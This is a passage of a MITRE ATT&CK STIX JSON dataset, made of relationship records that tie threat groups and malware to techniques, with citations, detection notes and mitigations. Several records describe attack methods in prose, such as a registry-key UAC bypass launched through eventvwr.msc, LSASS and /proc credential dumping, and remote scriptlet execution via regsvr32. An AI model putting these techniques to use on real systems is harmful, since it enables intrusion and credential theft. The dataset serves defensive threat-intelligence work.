A. et al. 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Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"source_name":"FireEye APT32 April 2020","url":"https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html","description":"Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020."},{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. 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Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.896Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can suppress UAC prompts by setting the <code>HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command</code> registry key on Windows 10 or <code>HKCU\\Software\\Classes\\mscfile\\shell\\open\\command</code> on Windows 7 and launching the <code>eventvwr.msc</code> process, which launches [BitPaymer](https://attack.mitre.org/software/S0570) with elevated privileges.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc8cb83f-fc66-4c44-8d60-f6f4be4b4f41","type":"relationship","created":"2019-07-09T17:42:44.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. 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More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-04-27T01:11:46.736Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) can run a remote scriptlet that drops a file and executes it via regsvr32.exe.(Citation: ESET EvilNum July 2020) ","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--83bfee39-b6c9-48e6-8114-54b0c623a91f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/","description":"Sherstobitoff, R. (2018, March 08). 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North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"Qualys LolZarus","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}],"modified":"2022-03-23T16:57:15.601Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has attempted to get users to launch a malicious Microsoft Word attachment delivered via a spearphishing email.(Citation: McAfee Bankshot)(Citation: ClearSky Lazarus Aug 2020)(Citation: Kaspersky ThreatNeedle Feb 2021)(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cc7c5ef-f170-4147-8703-03ea34d40d12","type":"relationship","created":"2021-08-18T18:22:07.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department.. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:11.431Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has created new email accounts for targeting efforts.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto menuPass Feb 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. 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(2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018."}],"modified":"2020-03-30T02:33:36.223Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded.(Citation: Symantec MuddyWater Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cece5cb5-3837-4551-be22-5c27b63eae63","type":"relationship","created":"2020-05-08T18:41:16.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. 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(2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n##### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path <code>/proc/&lt;pid&gt;/maps</code>, where the <code>&lt;pid&gt;</code> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.","modified":"2022-04-19T23:45:21.159Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--58996a9f-ab17-4942-9afd-bb336af9a15b","created":"2022-03-15T20:02:43.799Z","x_mitre_version":"1.0","external_references":[{"source_name":"KISA Operation Muzabi","url":"https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936","description":"KISA. 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Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.558Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) obtains a list of running processes through WMI querying.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac773743-8f22-4193-a2de-b562e7a13709","type":"relationship","created":"2021-06-29T15:19:53.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. 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Retrieved June 29, 2021."}],"modified":"2021-06-29T15:19:53.156Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) has the ability to capture screenshots.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a493d52-b97f-4cf3-a85b-1e9aaa66a410","type":"relationship","created":"2020-03-15T15:37:47.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-15T22:49:28.692Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. 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Retrieved April 26, 2016.","source_name":"TechNet Copy"}],"modified":"2020-03-20T18:38:23.341Z","description":"[cmd](https://attack.mitre.org/software/S0106) can be used to copy files to/from a remotely connected external system.(Citation: TechNet Copy)","relationship_type":"uses","source_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a78cd480-758b-4fb5-a60a-ecb86d837012","type":"relationship","created":"2021-10-06T16:13:04.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. 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Retrieved August 24, 2021."}],"modified":"2021-08-31T15:25:14.144Z","description":"(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12c14ace-db29-4b08-a052-ba867c9ba534","type":"relationship","created":"2020-03-30T19:29:56.297Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Emotet Jan 2019","url":"https://blog.talosintelligence.com/2019/01/return-of-emotet.html","description":"Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. 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Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.242Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) has the ability to recursively enumerate files on an infected endpoint.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b928b39-ce48-47b8-82bc-d4ec63b1e3f4","type":"relationship","created":"2021-08-24T14:13:17.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). 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Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) can copy files to other machines on a compromised network.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:09:56.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e5e2fd3-cab4-4853-81ad-9bf50e1390bd","type":"relationship","created":"2020-01-30T16:36:51.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-08-31T19:55:02.860Z","description":"Do not allow a domain user to be in the local administrator group on multiple systems.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c8634d8-21a1-46a5-a1fd-eaaff6eed7a6","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Sofacy Feb 2018","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/"},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T14:29:55.073Z","description":"(Citation: Unit 42 Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a68c1482-d13d-41f1-98b0-01c78812b0ae","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Plist files are located in the root, system, and users <code>/Library/LaunchAgents</code> or <code>/Library/LaunchDaemons</code> folders. [Launch Agent](https://attack.mitre.org/techniques/T1543/001) or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c4d2678-b4e3-4f0a-b3a2-f0f6d218bfd4","type":"relationship","created":"2019-07-18T19:12:52.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-10T18:34:39.943Z","description":"Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a31a022-8bb1-4102-9c9a-7289febdcc5c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"fsecure NanHaiShu July 2016","description":"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. 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(2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.280Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) has set the attributes of the VirtualBox directory and VBoxVmService parent directory to \"hidden\".(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7840f5de-3b13-486c-bde2-7ffc73998010","type":"relationship","created":"2020-10-01T13:33:13.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-10-01T13:33:13.842Z","description":"[Anchor](https://attack.mitre.org/software/S0504) has been signed with valid certificates to evade detection by security tools.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60db2ece-4f5e-4c47-a7eb-fd8bcf7ddc49","type":"relationship","created":"2021-10-01T01:57:31.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TeamTNT","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.770Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used UPX and Ezuri packer to pack its binaries.(Citation: Trend Micro TeamTNT)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e1f0009-69eb-4131-b0ba-0a9a5ab04718","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor executed commands and arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ddcf163-015f-46a2-8de7-375712d92bae","type":"relationship","created":"2020-05-22T19:37:14.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."},{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-11T16:17:17.851Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used tools for capturing keystrokes.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f71fa9f5-7a3c-43a7-8ca3-2e3c8996bde8","type":"relationship","created":"2021-08-18T20:26:22.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department.. Retrieved August 12, 2021."}],"modified":"2021-08-31T15:25:14.248Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used protocol tunneling to further conceal C2 communications and infrastructure.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d61aad08-1ad3-4cba-a8e6-a8106089a635","created":"2022-02-02T15:38:26.331Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LitePower](https://attack.mitre.org/software/S0680) can send collected data, including screenshots, over its C2 channel.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-15T19:59:45.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a1883a0-8626-4cf0-8e0f-19bf9cf39a30","type":"relationship","created":"2019-04-17T13:46:38.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Doaty, J., Garrett, P.. (2018, September 10). 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7005793f-b8da-49c5-8985-9d4476c3faaf","type":"relationship","created":"2021-03-05T18:09:35.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."},{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}],"modified":"2021-09-15T18:02:37.809Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used PowerShell [Empire](https://attack.mitre.org/software/S0363) for execution of malware.(Citation: Crowdstrike Indrik November 2018)(Citation: Symantec WastedLocker June 2020) ","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--84fcda4b-e58e-4ecd-8366-77d464e043ee","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). 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Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2020-09-09T15:53:09.924Z","description":"(Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 